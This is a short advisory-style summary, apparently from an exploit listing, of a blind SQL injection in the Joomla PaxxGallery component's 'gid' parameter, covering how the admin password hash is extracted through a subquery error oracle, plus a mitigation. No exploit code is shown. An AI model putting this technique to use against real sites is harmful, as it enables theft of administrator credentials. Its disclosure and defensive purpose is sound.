Joomla Component PaxxGallery Blind SQL Injection Exploit (gid)

This exploit is a blind SQL injection vulnerability in the Joomla Component PaxxGallery. It allows an attacker to extract the administrator's password hash from the database. The exploit works by sending a specially crafted request to the vulnerable parameter 'gid' and using the error message 'Subquery returns more than 1 row' to determine the correct character of the password hash.

Mitigation:

The best way to mitigate this vulnerability is to update the Joomla Component PaxxGallery to the latest version.
